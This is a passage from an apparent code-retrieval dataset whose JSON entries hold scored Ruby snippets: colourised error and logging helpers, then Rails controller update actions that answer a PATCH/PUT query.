"text": "def message( *msg )\n\t\t\t$stderr.puts( colorize(:bold) { msg.flatten.join(' ') } )\n\t\tend",
"title": ""
},
{
"docid": "e194c2511b1a4648e307008d0d121e39",
"score": "0.7294123",
"text": "def print_error_message(msg)\n print \"<< ERROR: #{msg.to_s} !!\\n\"\n end",
"title": ""
},
{
"docid": "6676717dc7d8323a05c6cb92309fd414",
"score": "0.7277915",
"text": "def error(message)\n puts prefix + Rainbow(message).red\n end",
"title": ""
},
{
"docid": "4e1566f7cc9780d59277ea8adb12aa32",
"score": "0.722762",
"text": "def error(msg, status: -1)\n error(\"Invalid status code `#{status}`: it's not negative\") if status >= 0\n tell(colorize(\"☠ \", :magenta) + colorize(msg, :red))\n exit(status)\n end",
"title": ""
},
{
"docid": "b25a174ef48b623ff23019aefbccb3da",
"score": "0.722576",
"text": "def syserr(msg)\n sysout(\"E: #{msg}\", TC_RED, BC_BLUE)\nend",
"title": ""
},
{
"docid": "0951c4980ef94fd2484579d1a0fc6ca5",
"score": "0.7221077",
"text": "def failure(msg = nil)\n msg = \"Error in #{self.class}\" if msg.nil?\n \"<strong style=\\\"color: red\\\">#{msg.to_xs}</strong>\"\n end",
"title": ""
},
{
"docid": "6acfe3cf9a199b5d616cdf04129fc733",
"score": "0.7151123",
"text": "def error_message(msg)\n STDERR.puts msg\n STDERR.flush\n end",
"title": ""
},
{
"docid": "449d827f4e7a43cb28fed530d0b6ac0f",
"score": "0.7145691",
"text": "def output_error( message )\n\t\tself.prompt.say( self.prompt.color(message, :red) )\n\tend",
"title": ""
},
{
"docid": "6f5bf7195849daf2d46f0e781e74d800",
"score": "0.71096396",
"text": "def log( *msg )\n\t\t\toutput = colorize( msg.flatten.join(' '), 'cyan' )\n\t\t\t$stderr.puts( output )\n\t\tend",
"title": ""
},
{
"docid": "a044ac4ceeacd456ae6dd6bcb144fef7",
"score": "0.7098835",
"text": "def error(msg)\n text(msg, '3')\n end",
"title": ""
},
{
"docid": "551c78a082ff77f3dd8edcc67dbf73ec",
"score": "0.7086972",
"text": "def error(msg, err=nil)\n return if @quiet\n puts \"#{Tty.red}Error#{Tty.reset}: #{msg}#{', details follow...' if err}\"\n puts err.to_s if err\n end",
"title": ""
},
{
"docid": "ba08fabdec79e6d15a15eae5dc29128e",
"score": "0.7068829",
"text": "def error(message)\n puts message.red\n end",
"title": ""
},
{
"docid": "cf2155151d181ee37ae9d58021020ba9",
"score": "0.7064434",
"text": "def error(message)\n err(\"#{color('ERROR:', :red, :bold)} #{message}\")\n end",
"title": ""
},
{
"docid": "8bcd452b8bd157fbde7e21d003ba5281",
"score": "0.7059912",
"text": "def puts_error(msg)\n $stderr.puts \"\\e[31m[ERROR] #{msg}\\e[0m\" if Calamum::Config[:debug]\n exit(1)\nend",
"title": ""
},
{
"docid": "dcdc8e78be3bf2a3b8dee7d2f3fa5ea1",
"score": "0.70216733",
"text": "def error(msg = '', descriptor = $stdout)\n descriptor.puts(\"[#{'ERROR'.red}] - #{msg}\")\nend",
"title": ""
},
{
"docid": "79e8346b712b10ea81f6820c2f7251e3",
"score": "0.6980622",
"text": "def print_error(message)\n puts message.red\n end",
"title": ""
},
{
"docid": "dd793c9202bccfe1b41aa1fe93be74a4",
"score": "0.69490016",
"text": "def emit_error_message(msg)\n System.err.println(msg)\n end",
"title": ""
},
{
"docid": "b4e30e359e5cbbb318dbbd1de794c2ee",
"score": "0.68904644",
"text": "def warning(msg)\n puts \"\\e[33m*\\e[0m #{msg} \\n\"\n end",
"title": ""
},
{
"docid": "a53b5cedcd133278b4ed29169cb50b26",
"score": "0.68878",
"text": "def error(text = '')\n puts \"\\x1B[41m ERROR \\x1B[0m #{text}\\n\\n\"\n exit\n end",
"title": ""
},
{
"docid": "c8eb33d19d4138d3823c3cccdd55b2c7",
"score": "0.6870913",
"text": "def say_error(message = T.unsafe(nil), color = T.unsafe(nil), force_new_line = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "7a1a639e92a488ec2a634164daa63d5b",
"score": "0.6870064",
"text": "def err(input)\n puts \"[#{Time.now.strftime(\"%T\").red} \" + \"ERROR\".red + \"] \" + \"#{input.red}\"\n end",
"title": ""
},
{
"docid": "121a8d235b907bf69587632f649dddb6",
"score": "0.6868751",
"text": "def error(msg); output(:error, msg); end",
"title": ""
},
{
"docid": "ad4263215cf425260fbbf7575075e318",
"score": "0.68687457",
"text": "def red(msg)\n \"\\033[0;31m#{msg}\\033[0;37m\"\nend",
"title": ""
},
{
"docid": "ad4263215cf425260fbbf7575075e318",
"score": "0.68687457",
"text": "def red(msg)\n \"\\033[0;31m#{msg}\\033[0;37m\"\nend",
"title": ""
},
{
"docid": "d1c1dbc7630f76d919e6357a47727e27",
"score": "0.68655854",
"text": "def log_fatal(msg)\n puts msg.color(:red).bright\n end",
"title": ""
},
{
"docid": "77a4e9cd884a36acbe5ba23da2ae29c1",
"score": "0.6857956",
"text": "def error(msg, debug: true)\n $stderr.puts CLI::UI.fmt(\"{{red:#{msg}}}\")\n @debug_logger.error(format_debug(msg)) if debug\n end",
"title": ""
},
{
"docid": "a7d156c677aeebd25bd018c2b1501391",
"score": "0.68574643",
"text": "def error(*args)\n options = Utils.extract_options!(args)\n args.each { |message| say message, options.merge(color: :red) }\n end",
"title": ""
},
{
"docid": "a7d156c677aeebd25bd018c2b1501391",
"score": "0.68574643",
"text": "def error(*args)\n options = Utils.extract_options!(args)\n args.each { |message| say message, options.merge(color: :red) }\n end",
"title": ""
},
{
"docid": "0ddd28becbd5f4da915f8ae74e8a1743",
"score": "0.6845556",
"text": "def error(message, title=\"Oops!\")\n puts \"#{title.bold} #{message}\".red\nend",
"title": ""
},
{
"docid": "784f45581f2b592c640dd2a3b9cdbeff",
"score": "0.6841415",
"text": "def log( *msg )\n\toutput = colorize( msg.flatten.join(' '), 'cyan' )\n\t$stderr.puts( output )\nend",
"title": ""
},
{
"docid": "622b8dea501fe00188bc493a2f7d939f",
"score": "0.6812927",
"text": "def error(message)\n puts Buildr::Console.color(message.to_s, :red)\nend",
"title": ""
},
{
"docid": "74f3ff188efe34258c7f2ba3acf53574",
"score": "0.67950857",
"text": "def fatal_err(msg)\n STDERR.puts(msg.red)\n exit(1)\n end",
"title": ""
},
{
"docid": "a8e70e3a3a995b7183e85e3df5f8fd80",
"score": "0.6740764",
"text": "def err(msg)\n\t\terror(msg)\n\tend",
"title": ""
},
{
"docid": "a8e70e3a3a995b7183e85e3df5f8fd80",
"score": "0.6740764",
"text": "def err(msg)\n\t\terror(msg)\n\tend",
"title": ""
},
{
"docid": "00cf535064985189c93ed8259dad764e",
"score": "0.67285365",
"text": "def output(msg, color_code = nil)\n msg = msg.colorize(color_code) if color_code\n puts(msg)\n end",
"title": ""
},
{
"docid": "5023319dce302a0c8eacd1532159a6ff",
"score": "0.6726612",
"text": "def puts_with_color(color, msg) \n begin\n puts msg.colorize(color.to_sym)\n rescue ColorizeError => e\n raise LightBoxClient::LbcError.new(\"Print colorized message with exception #{e}\")\n end\n end",
"title": ""
},
{
"docid": "53cd37db38184c6be622cfd054aeff59",
"score": "0.6718487",
"text": "def error msg\n STDERR.puts \"Error: \" + msg\n end",
"title": ""
},
{
"docid": "11d8d9bfdf46ab6d1af10573860fbc37",
"score": "0.6709295",
"text": "def error(message)\n warn colorize(message, :red)\n exit(1)\n end",
"title": ""
},
{
"docid": "3b9f25aed7d666a71b68f6b505a45128",
"score": "0.6704852",
"text": "def error(msg)\n write msg, :error\n end",
"title": ""
},
{
"docid": "de0b30c46cde6496f9578743c19927ad",
"score": "0.66961586",
"text": "def err(msg)\n STDERR.write(\"#{runtime} #{msg}\\n\")\n end",
"title": ""
},
{
"docid": "2badaf5ec66ffc1d95c8d1b6bfe56986",
"score": "0.6624677",
"text": "def error( text )\n\t\tmessage( self.prompt.color(text, :error) )\n\tend",
"title": ""
},
{
"docid": "37e13f39049f30fc844158a390c12941",
"score": "0.6613291",
"text": "def error(msg = nil, code = nil)\n STDERR.puts(msg) if msg\n exit(code) if code\n end",
"title": ""
},
{
"docid": "f8a24f233be74fa0074c5ef7592a98e5",
"score": "0.65996975",
"text": "def error(message)\n $stderr.puts message.red\nend",
"title": ""
},
{
"docid": "01cb39bdf7362ec6f4f97437a63b70e7",
"score": "0.6596745",
"text": "def fatal_magenta(msg)\n fatal color(msg, LogSubscriber::MAGENTA)\n end",
"title": ""
},
{
"docid": "d9aa9a8ac06619e58e4d05d57716560a",
"score": "0.65893495",
"text": "def e_err()\n return $COLORS[:red] + \"*\" + \"\\t\" + $COLORS[:reset] + self.to_s\n end",
"title": ""
},
{
"docid": "e72923fcaa4a59cb72d6934f4509006c",
"score": "0.65551454",
"text": "def say_error message\n say_status :error, message, :red\n end",
"title": ""
},
{
"docid": "19983890367989d2a3a861af2f080a71",
"score": "0.6551737",
"text": "def trace( *msg )\n\t\t\treturn unless $VERBOSE\n\t\t\toutput = colorize( msg.flatten.join(' '), 'yellow' )\n\t\t\t$stderr.puts( output )\n\t\tend",
"title": ""
},
{
"docid": "370616d83ac135c15a350657c6a65975",
"score": "0.6549716",
"text": "def fail(text)\n message = \"\\nx #{text}\"\n puts \"\\e[31m#{message}\\e[0m\" # red\n exit(1)\n end",
"title": ""
},
{
"docid": "fd395a9c7285c74568a902b159a53f6d",
"score": "0.65408945",
"text": "def out_error(message)\n _out message, @type_color_map[:error]\n end",
"title": ""
},
{
"docid": "58ca98d8dd0815ccd4d777b959c6b9e5",
"score": "0.6533794",
"text": "def raw_error(message)\n puts Colours.red(message)\n end",
"title": ""
},
{
"docid": "85238e6171ed071fddf56d0425a6a188",
"score": "0.65151715",
"text": "def message(msg, ok=true)\n puts\n if ok then\n puts \"> #{msg}\".green\n else\n n = msg.length + 2\n s = \"> Bummer! something gone wrong!\"\n l = '-' * [s.length, 80].min\n warn \"#{l}\\n#{s}\\n#{l}\\n\".red\n end\nend",
"title": ""
},
{
"docid": "cb6864e1d97540cff8b5d582d6e7cd7c",
"score": "0.65150994",
"text": "def trace( *msg )\n\t\t\treturn unless $trace\n\t\t\toutput = colorize( msg.flatten.join(' '), 'yellow' )\n\t\t\t$stderr.puts( output )\n\t\tend",
"title": ""
},
{
"docid": "33a9eeab47d6252b4aee858e1cd82ce0",
"score": "0.6506836",
"text": "def err(input)\n puts \"[#{Time.now.strftime(\"%T\")} ERROR] #{input}\".red.bold\n end",
"title": ""
},
{
"docid": "2d90e3b36782f98e8dd1b50311c0fb15",
"score": "0.6501753",
"text": "def msg(type, text)\n case type\n when \"exit\"\n return \"\\033[31mEXIT |\\033[0m #{text}\\n\"\n when \"ok\"\n return \"\\033[32m OK |\\033[0m #{text}\\n\"\n when \"warn\"\n return \"\\033[33mWARN |\\033[0m #{text}\\n\"\n else\n return \" | #{text}\\n\"\n end\nend",
"title": ""
},
{
"docid": "37ca00817fc9db17eefa780d13271628",
"score": "0.64911914",
"text": "def failure_color(text)\n \"#{ESC}31m#{text}#{NND}\"\n end",
"title": ""
},
{
"docid": "30b7ece6c1e12f018d43e708fc94c767",
"score": "0.64890945",
"text": "def error(message)\n @report.append('<font color=red><b>' 'ERREUR</b> : </color> ' + message)\n end",
"title": ""
},
{
"docid": "30b7ece6c1e12f018d43e708fc94c767",
"score": "0.64890945",
"text": "def error(message)\n @report.append('<font color=red><b>' 'ERREUR</b> : </color> ' + message)\n end",
"title": ""
},
{
"docid": "3948b38b5a04c71e45b63287cd60050e",
"score": "0.6477437",
"text": "def log(msg, color = 'default')\n return if @quiet\n\n msg = colorize(color, msg) unless color == 'default'\n @stderr.write(msg + \"\\n\")\n end",
"title": ""
},
{
"docid": "322f4d37eb1a54784d24a335d80ea55a",
"score": "0.646816",
"text": "def html_out(msg, color_name=\"black\")\n rgb = Color::RGB::by_name color_name\n @handle.puts \"<span style='color:#{rgb.css_rgb};'>#{msg}</span>\"\n end",
"title": ""
},
{
"docid": "322f4d37eb1a54784d24a335d80ea55a",
"score": "0.646816",
"text": "def html_out(msg, color_name=\"black\")\n rgb = Color::RGB::by_name color_name\n @handle.puts \"<span style='color:#{rgb.css_rgb};'>#{msg}</span>\"\n end",
"title": ""
},
{
"docid": "b044d8336e6cf7a4eace0ebb80b0466b",
"score": "0.6459607",
"text": "def print_error message\n msg = Scarlet::Parser.parse_esc_codes message\n msg = \"[#{Time.now.strftime(\"%H:%M\")}] #{msg}\"\n puts msg.colorize(:light_red)\n end",
"title": ""
},
{
"docid": "4139ec44d4f54e26a6c50c524333f4b1",
"score": "0.6456805",
"text": "def err(message, exit_code = nil)\n case provide_format\n when :json\n $stderr.puts JSON.pretty_generate(\n error: message\n )\n else\n $stderr.puts message\n end\n\n exit(exit_code) unless exit_code.nil?\n end",
"title": ""
},
{
"docid": "7f6aa94137ccbdc4a7b7371da8b5a0c2",
"score": "0.6456286",
"text": "def header( msg )\n\t\tmsg.chomp!\n\t\t$stderr.puts ansi_code( 'bold', 'white', 'on_blue' ) + msg + ansi_code( 'reset' )\n\t\t$stderr.flush\n\tend",
"title": ""
},
{
"docid": "7baaa7785c41c7889d5ddd5cbd68ba8b",
"score": "0.6423738",
"text": "def error(msg, opts={})\n ::Guard::UI.error(\"[Sass] #{msg}\", opts)\n notify(opts[:notification], :image => :failed)\n end",
"title": ""
},
{
"docid": "954485fbd062144dd59c566090628d80",
"score": "0.64226043",
"text": "def error(msg, warn = false)\n\tSTDERR.puts((warn ? '[Warning] ' : '[Error] ') + msg)\nend",
"title": ""
},
{
"docid": "7008222880aa6ef88af18988818a4b1e",
"score": "0.64084136",
"text": "def header( msg )\n\t\tmsg.chomp!\n\t\t$stderr.puts ansiCode( 'bold', 'white', 'on_blue' ) + msg + ansiCode( 'reset' )\n\t\t$stderr.flush\n\tend",
"title": ""
},
{
"docid": "7008222880aa6ef88af18988818a4b1e",
"score": "0.6406631",
"text": "def header( msg )\n\t\tmsg.chomp!\n\t\t$stderr.puts ansiCode( 'bold', 'white', 'on_blue' ) + msg + ansiCode( 'reset' )\n\t\t$stderr.flush\n\tend",
"title": ""
},
{
"docid": "e8e73afd93655a8387b878120d06552a",
"score": "0.6399328",
"text": "def error(message)\n @report.append('<font color=red><b>' 'ERREUR</b> : </font> ' + message)\n end",
"title": ""
},
{
"docid": "ce72ade8717e64af17637d73a050844b",
"score": "0.6394491",
"text": "def trace( *msg )\n\treturn unless $trace\n\toutput = colorize( msg.flatten.join(' '), 'yellow' )\n\t$stderr.puts( output )\nend",
"title": ""
},
{
"docid": "5568469ef3ae50ae26b832a4e60298ad",
"score": "0.6391509",
"text": "def error(message)\n\t\terror_message = \" ERROR: #{message}! \"\n\t\terror_length = error_message.length\n\t\tputs (\"=\"*error_length).colorize( :color => :red, :background => :white )\n\t\tputs error_message.colorize( :color => :red, :background => :white )\n\t\tputs (\"=\"*error_length).colorize( :color => :red, :background => :white )\n\n\t\tKernel::raise error_message\n\tend",
"title": ""
},
{
"docid": "17faf8b296e02338c64cf83bf4216396",
"score": "0.63878924",
"text": "def success(msg)\n puts \"\\e[32m*\\e[0m #{msg} \\n\"\n end",
"title": ""
},
{
"docid": "16c3f3f5ee26ce6d0707f6c03a727479",
"score": "0.637624",
"text": "def CliErro(msg)\n puts \"error> #{msg}\"\n end",
"title": ""
},
{
"docid": "47ace42ffa14868936033e48b9214c1f",
"score": "0.63679796",
"text": "def debug_msg( msg )\n\t\treturn unless $DEBUG\n\t\tmsg.chomp!\n\t\t$stderr.puts ansi_code( 'bold', 'yellow', 'on_blue' ) + \">>> #{msg}\" + ansi_code( 'reset' )\n\t\t$stderr.flush\n\tend",
"title": ""
},
{
"docid": "ddbb23d1770c60480bcfe66f173f399a",
"score": "0.6363236",
"text": "def croak(msg)\n $stderr.puts fancy(with_appraisal(msg))\n end",
"title": ""
},
{
"docid": "c29e6e118cbc121ceb7540d610875e8d",
"score": "0.6360918",
"text": "def error(message)\n @status = :error\n @text = message\n self.foreground = :red\n end",
"title": ""
},
{
"docid": "d6f213c0e418564722e7e41975b7932f",
"score": "0.6355031",
"text": "def error_and_exit(msg)\n STDERR.puts \"ERROR: #{msg}\"\n exit\n end",
"title": ""
},
{
"docid": "a15f7ccd69e516a19a8bdd830e411b3c",
"score": "0.6352133",
"text": "def say_error(message, options = {})\n options = {:with_exit => true}.merge(options)\n say message, :red\n exit 1 if options[:with_exit]\n end",
"title": ""
},
{
"docid": "9a6554ed2591383448bba13403a86c28",
"score": "0.63360673",
"text": "def debug_msg( msg )\n\t\treturn unless $DEBUG\n\t\tmsg.chomp!\n\t\t$stderr.puts ansiCode( 'bold', 'yellow', 'on_blue' ) + \">>> #{msg}\" + ansiCode( 'reset' )\n\t\t$stderr.flush\n\tend",
"title": ""
},
{
"docid": "ee8e9a5d082ff969a50ce8c66136b4c8",
"score": "0.6330159",
"text": "def msg2str(msg, color=nil)\n super(msg).gsub(\"\\e[0m\", \"\\e[0m#{color}\")\n end",
"title": ""
},
{
"docid": "4cd94e576866033c8bd98cb46207ee13",
"score": "0.63290805",
"text": "def green(msg)\n \"\\033[0;32m#{msg}\\033[0;37m\"\nend",
"title": ""
},
{
"docid": "4cd94e576866033c8bd98cb46207ee13",
"score": "0.63290805",
"text": "def green(msg)\n \"\\033[0;32m#{msg}\\033[0;37m\"\nend",
"title": ""
},
{
"docid": "4129e5e735870b76c2ebd154c1c2f8c9",
"score": "0.632531",
"text": "def log_error(name, message)\n print \" \" * (COLUMN_WIDTH - name.length)\n print color_msg(:red, name)\n print \" \"\n puts message\n end",
"title": ""
},
{
"docid": "fe20bfeecb177d4a21477e8fd3745d40",
"score": "0.63237935",
"text": "def err(message)\n stderr.print(\"#{message}\\n\")\n end",
"title": ""
},
{
"docid": "e53e28f23975a890dd7f08fdd9c02a20",
"score": "0.63152695",
"text": "def print_error(msg='')\n\t\treturn if (output.nil?)\n\n\t\t# Errors are not subject to disabled output\n\t\tlog_output(output.print_error(msg))\n\tend",
"title": ""
},
{
"docid": "01d16406fad0c717e47863ff8502aeee",
"score": "0.63053614",
"text": "def warn(msg)\n return if @opts.no_warn?\n warning = ENV[\"NO_COLOR\"] ? \"Warning\" : YELLOW[\"Warning\"]\n stderr.puts \"#{warning}: #{msg}\"\n end",
"title": ""
},
{
"docid": "9b8f17626903f9d0697395de378f0d56",
"score": "0.6295879",
"text": "def error(msg, exit_code=nil)\n $stderr.puts \"#{program_name}: #{msg}\"\n usage(exit_code)\nend",
"title": ""
},
{
"docid": "577be183a9f191f003b2432715d699e0",
"score": "0.6293187",
"text": "def errmsg(message)\n error.print(\"*** #{message}\\n\")\n end",
"title": ""
}
] |
a166d125f3c7f4f99f90ef586ac79cff
|
PATCH/PUT /deeds/1 PATCH/PUT /deeds/1.json
|
[
{
"docid": "9f9abc72dcf1ae54330af6f6e6b30115",
"score": "0.60245335",
"text": "def update\n respond_to do |format|\n if @deed.update(deed_params)\n format.html { redirect_to @deed, notice: 'Hito ha sido actualizado.' }\n format.json { render :show, status: :ok, location: @deed }\n else\n format.html { render :edit }\n format.json { render json: @deed.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "0f8872308cd71e90aed963baf02fd23e",
"score": "0.6605289",
"text": "def update\n request = RestClient.put File.join(API_SERVER,\"rest-api/departments\"), { \n 'id' => params['id'], \n 'name' => params['department']['name'], \n 'description' => params['department']['description'] }.to_json, :content_type => :json, :accept => :json\n\n redirect_to :action => :index\n end",
"title": ""
},
{
"docid": "80bf04b23639d3b961a3a480d5427722",
"score": "0.65288544",
"text": "def update\n opts = {\n desc: params[:desc] || @deed.desc,\n points: params[:points] || @deed.points\n }\n if @deed.update(opts)\n render json: opts, status: :ok, location: @deed\n else\n render json: @deed.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "d5eaea298e64625a71a15a970f3b75ed",
"score": "0.6248217",
"text": "def patch *args\n make_request :patch, *args\n end",
"title": ""
},
{
"docid": "90958e664a097134d8b1bc010baddd26",
"score": "0.6083878",
"text": "def update\n @dude = Dude.find(params[:id])\n\n respond_to do |format|\n if @dude.update_attributes(params[:dude])\n format.html { redirect_to @dude, notice: 'Dude was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dude.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9626a53c9008073aa465113769fdd8cd",
"score": "0.60443664",
"text": "def update\n @deanery = Deanery.find(params[:id])\n\n if @deanery.update(deanery_params)\n head :no_content\n else\n render json: @deanery.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "7f7c16b9e14f1352bb07fd27f83679a7",
"score": "0.6043576",
"text": "def patch(path, params: {}, headers: {})\n request_json :patch, path, params, headers\n end",
"title": ""
},
{
"docid": "b4cc3ee2207b39abaf779a6078bbaf3a",
"score": "0.60402304",
"text": "def patch\n PATCH\n end",
"title": ""
},
{
"docid": "b4cc3ee2207b39abaf779a6078bbaf3a",
"score": "0.60402304",
"text": "def patch\n PATCH\n end",
"title": ""
},
{
"docid": "fe34f93da0751ad55cc5052cfdd2366c",
"score": "0.60146636",
"text": "def update\n render json: Person.update(params[\"id\"], params[\"person\"])\n end",
"title": ""
},
{
"docid": "83e1d78cbad0c1c32d6e200743903262",
"score": "0.5995916",
"text": "def update\n @deltagere = Deltagere.find(params[:id])\n\n respond_to do |format|\n if @deltagere.update_attributes(params[:deltagere])\n format.html { redirect_to @deltagere, notice: 'Deltagere was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @deltagere.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fa16209f5ac39ae638cdf45c17fd5f18",
"score": "0.59643537",
"text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "fa16209f5ac39ae638cdf45c17fd5f18",
"score": "0.59643537",
"text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "1121b8fe100de7b7e220b09a42a9377b",
"score": "0.59583735",
"text": "def update\n @recipe = Recipe.find(params[:id])\n @recipe.update(recipe_params)\n render json: @recipe\n end",
"title": ""
},
{
"docid": "ab06cba74238a31c29ea89c3f7ccb7c5",
"score": "0.59356344",
"text": "def update\n respond_to do |format|\n if @seed.update(seed_params)\n format.html { redirect_to @seed, notice: 'Seed was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @seed.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ab06cba74238a31c29ea89c3f7ccb7c5",
"score": "0.59356344",
"text": "def update\n respond_to do |format|\n if @seed.update(seed_params)\n format.html { redirect_to @seed, notice: 'Seed was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @seed.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9d837e696092cc956fa35efcf2f01e0c",
"score": "0.59337425",
"text": "def update\n @dea = Dea.find(params[:id])\n\n respond_to do |format|\n if @dea.update_attributes(params[:dea])\n format.html { redirect_to @dea, notice: 'Dea was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dea.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2c5497f059ab1d7457ffc834ecb8f6a2",
"score": "0.5917326",
"text": "def patch(path, params = {})\n request(:patch, path, params)\n end",
"title": ""
},
{
"docid": "79b15214bdf4a366f18fe38e15c80fa5",
"score": "0.5913519",
"text": "def update\n @dell = Dell.find(params[:id])\n\n respond_to do |format|\n if @dell.update_attributes(params[:dell])\n format.html { redirect_to @dell, notice: 'Dell was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dell.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e71db71afaeeba71c54ba9cde29c78f1",
"score": "0.59131646",
"text": "def update\n @diet = Diet.find(params[:id])\n\n respond_to do |format|\n if @diet.update_attributes(params[:diet])\n format.html { redirect_to @diet, notice: 'Diet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @diet.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ed1a054b962de786c0cdec122230872d",
"score": "0.5899426",
"text": "def update\n respond_to do |format|\n if @json_datum.update(json_datum_params)\n format.html { redirect_to @json_datum, notice: 'Json datum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @json_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d0aead450b2ec6a9dc6b1e1819018567",
"score": "0.588676",
"text": "def update\n @food_de = FoodDe.find(params[:id])\n\n respond_to do |format|\n if @food_de.update_attributes(params[:food_de])\n format.html { redirect_to @food_de, notice: 'Food de was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food_de.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cc575b8d5b9ed176fb38326bf4a32dcc",
"score": "0.5886337",
"text": "def update\n @dog = Dog.find(params[:id]) rescue []\n\n head 404 and return if @dog.blank?\n\n respond_to do |f|\n if @dog.update_attributes(dog_parameters)\n f.json{ head :no_content }\n f.xml { head :no_content }\n f.html{ head :no_content }\n\n else\n f.json{ render json: @dog.errors, status: :unprocessable_entity }\n f.xml { render xml: @dog.errors, status: :unprocessable_entity }\n f.html{ render json: @dog.errors, status: :unprocessable_entity }\n\n end\n end\n end",
"title": ""
},
{
"docid": "6f94ccf18ac17fd5afc882425ec4bc4e",
"score": "0.5884617",
"text": "def update\n @demon = Demon.find(params[:id])\n\n respond_to do |format|\n if @demon.update_attributes(params[:demon])\n format.html { redirect_to @demon, notice: 'Demon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @demon.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d61c0aeb123e4c5cfcb2ba019dd903a0",
"score": "0.5880889",
"text": "def patch(options = {})\n request :patch, options\n end",
"title": ""
},
{
"docid": "89c7e57626f283bf495b5fd7ea2dc87f",
"score": "0.5875496",
"text": "def update\n respond_to do |format|\n if @deer.update(deer_params)\n format.html { redirect_to @deer, notice: 'Deer was successfully updated.' }\n format.json { render :show, status: :ok, location: @deer }\n else\n format.html { render :edit }\n format.json { render json: @deer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "43520ac4c86e3d083b37994ccd08ca18",
"score": "0.58717555",
"text": "def update\n respond_to do |format|\n if @dessert.update(dessert_params)\n format.html { redirect_to @dessert, notice: 'Dessert was successfully updated.' }\n format.json { render :show, status: :ok, location: @dessert }\n else\n format.html { render :edit }\n format.json { render json: @dessert.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "67987b36f9d627752ee5cdb5bcd6f7a3",
"score": "0.5863019",
"text": "def patch(body: nil, path: nil, headers: nil, id: nil)\n post(body: body, path: path, headers: headers, http_method: :patch, id: id)\n end",
"title": ""
},
{
"docid": "1b43604bd409d8c4644421c395d71320",
"score": "0.5859518",
"text": "def update\n\t\t\t\trender json: {}, status: 405\n\t\t\tend",
"title": ""
},
{
"docid": "cf349d235658fb07601f42aae5c6fb76",
"score": "0.5854636",
"text": "def update\n entry = Entry.find(params[:id])\n\n if entry.update_attributes(params.slice(:amount, :notes, :expenditure_date, :budget_id))\n render :json => entry\n else\n render :json => entry.errors, :status => :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "15da6186fb44dbbc50563fbf88f8aeda",
"score": "0.58534855",
"text": "def update\n @seed = Seed.find(params[:id])\n\n respond_to do |format|\n if @seed.update_attributes(params[:seed])\n format.html { redirect_to @seed, notice: 'Seed was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @seed.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b4fbe2bb4554c75214ec612a847f458e",
"score": "0.5848483",
"text": "def update_tenant_circle(args = {}) \n id = args['id']\n temp_path = \"/tenantcircles.json/{circleId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantcircleId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"title": ""
},
{
"docid": "3c5490777a313c8b9c23d95f67a83f05",
"score": "0.5837954",
"text": "def update\n @depedency = Depedency.find(params[:id])\n\n respond_to do |format|\n if @depedency.update_attributes(params[:depedency])\n format.html { redirect_to @depedency, notice: 'Depedency was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @depedency.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ca9fd5f1d76d6a1a8f9b0a89c64e0aa5",
"score": "0.5836637",
"text": "def post_update(params)\n @client.post(\"#{path}/update\", nil, params, \"Content-Type\" => \"application/json\")\n end",
"title": ""
},
{
"docid": "8a1fcbdae3046e2102f533f681b61c66",
"score": "0.5833043",
"text": "def update_contact\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts/3'\n ).to_s\n\n puts RestClient.patch(\n url, {contact: {name: \"Josh\", email: \"josh@gmail.com\"}} )\nend",
"title": ""
},
{
"docid": "1372856b45a7a924dc31b72a27db0324",
"score": "0.5824863",
"text": "def patch(path, params: {}, body: {})\n request(:patch, path, params: params, body: body)\n end",
"title": ""
},
{
"docid": "a22af0ae5221343a4858e9352371f29b",
"score": "0.5818743",
